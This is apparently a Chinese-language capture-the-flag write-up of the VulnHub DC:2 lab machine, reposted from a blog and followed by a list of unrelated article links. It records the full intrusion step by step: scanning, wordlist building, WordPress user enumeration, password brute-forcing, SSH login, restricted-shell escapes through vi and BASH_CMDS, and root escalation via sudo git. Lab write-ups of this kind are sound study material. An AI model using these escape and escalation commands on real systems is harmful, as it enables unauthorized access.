vulnhub-DC:2靶机渗透记录
准备工作
在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-2,311/
导入到vmware
打开kali准备进行渗透(ip:192.168.200.6)
信息收集
利用nmap进行ip端口探测
nmap -sS 192.168.200.6/24
探测到ip为192.168.200.13的主机开放了80端口
访问192.168.200.13:80,一直转圈无法打开,后来重定向到了这个网站www.dc-2.com
需要手动配置hosts文件,靶机ip对应的dc-2域名里添加进去
vi /etc/hosts
在网站找到了flag1
flag1提示我们使用cewl对这里进行扫描获得密码字典
cewl http://dc-2/index.php/flag/ > pwd.dic
将扫到的密码字典保存下来
目前网站已经没有别的信息了,接下来先把网站扫一遍看看有没有别的入口
使用dirsearch
python3 dirsearch.py -u http://192.168.200.13:80
发现一个后台登陆的界面http://dc-2/wp-login.php,框架是wordpress
wpscan扫描用户
使用kali自带的工具wpscan(wordpress框架专门的漏洞扫描工具)列举出所有用户
wpscan --url http://dc-2/ -e u
发现admin、jerry、tom三个用户,结合我们刚刚拿到的密码字典,可以进行爆破
使用BP带的爆破模块,选择Cluster bomb模式,将用户和密码设置为变量
再将第一个变量设置为admin、jerry、tom,第二个变量导入为刚刚获得的密码字典
进行爆破,根据返回的长度,获得两个匹配的账号密码
tom——parturient
jerry——adipiscing
先登陆tom看看
在这里找到了flag2,jerry也是一样的
提示我们除了利用wordpress还有另一个方法,但找了很久不知道什么方法,看了一下别人的通关记录才发现,刚刚nmap扫描的时候没有扫透应该使用 nmap -p- 192.168.200.13 扫描所有范围的端口,才能扫到7744端口
但是这样却扫不出是什么服务使用nmap -sV -p- 192.168.200.13就能看到是ssh服务
知道了是ssh就用刚刚的账号密码尝试连接看看
成功连上,看到了flag3.txt
用了cat命令和vim都打不开,后面试了vi就可以打开了
可怜的老汤姆总是在追杰瑞。也许他应该为自己造成的压力负责。
提示使用su,tom和jerry都是用户,应该是要切换到jerry
看看别的文件夹有没有信息,但是cd命令给限制了,su切换到jerry也不行
绕过rbash
找资料发现需要绕过rbash
参考文章RBash - 受限的Bash绕过 - 云+社区 - 腾讯云 (tencent.com)
输入vi 打开编辑器,然后输入:set shell=/bin/bash,再执行命令:shell,就可以绕过rbash
获取权限后就可以cd查看别的文件夹
看到上级文件夹有一个jerry,进去后发现flag4.txt,用vi打开查看
没有提示了 ,直接让我们进到home里,但是却提到了git outta here,应该是git提权
但发现刚刚那个绕过方式不能使用su切换到jerry,再换一种绕过方式看看
BASH_CMDS[a]=/bin/sh;a //注:把/bin/bash给a变量`
export PATH=$PATH:/bin/ //注:将/bin 作为PATH环境变量导出
export PATH=$PATH:/usr/bin //注:将/usr/bin作为PATH环境变量导出
成功绕过 ,登陆jerry
但是当访问root文件夹时却权限不够,尝试使用git提权
git提权
输入如下命令,会强制进入交互状态
sudo git -p --help
再调用bash
!/bin/bash
成功提权,现在就能以root身份执行命令了,进入root获得最终flag
参考文章
原文地址:https://www.cnblogs.com/1-Ry/p/15068160.html
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- CentOS-AltArch-7(ARM版)下源码编译MySQL5.7.31
- 用BurpSuit的Burpy插件搞定WEB端中的JS加密算法
- CentOS7下安装文档协作工具Confluence7.2.1
- caret包进行机器学习
- 容器化Go应用--基础镜像的未知时区问题
- 写给自己的Object和Function的3个灵魂拷问
- 48. Vue路由-使用命名视图实现经典布局
- 47. Vue使用children属性实现路由嵌套
- RecyclerView的缓存机制和内存优化
- 使用Anchore Enine来完善DevSecOps工具链
- PyTorch版CenterNet训练自己的数据集
- SpringBoot2 整合FreeMarker模板,完成页面静态化处理
- PHP多文件上传格式化
- NDK开发案例 | C/C++调用java层代码
- 深入理解 SecurityConfigurer 【源码篇】